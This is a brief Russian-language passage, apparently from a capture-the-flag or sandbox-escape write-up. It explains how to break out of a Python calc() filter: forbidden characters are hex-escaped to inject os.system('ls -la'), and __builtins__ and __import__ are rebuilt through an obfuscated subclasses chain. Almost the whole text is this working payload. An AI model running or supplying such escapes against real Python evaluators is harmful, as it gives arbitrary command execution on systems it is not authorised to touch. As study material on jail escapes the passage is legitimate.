При помощи hex() в питоне я заменял все недопустимые символы в строке:
hex(ord('['))
Затем экранировал:
calc('print\\x28os\\x2esystem\\x28\'ls -la \'))#')
Но чтобы сработал код надо снова определить __builtins__ и __import__ -ировать os.
Примерно так с __builtins__:
\\x5f\\x5fbuiltins\\x5f\\x5f=\\x5bt for t in \\x28)\\x2e\\x5f\\x5fclass\\x5f\\x5f\\x2e\\x5f\\x5fbases\\x5f\\x5f\\x5b0]\\x2e\\x5f\\x5fsubclasses\\x5f\\x5f\\x28) if 'warning' in t\\x2e\\x5f\\x5fname\\x5f\\x5f]\\x5b0]\\x28)\\x2e\\x5fmodule\\x2e\\x5f\\x5fbuiltins\\x5f\\x5f\\x5b'\\x5f\\x5fimport\\x5f\\x5f']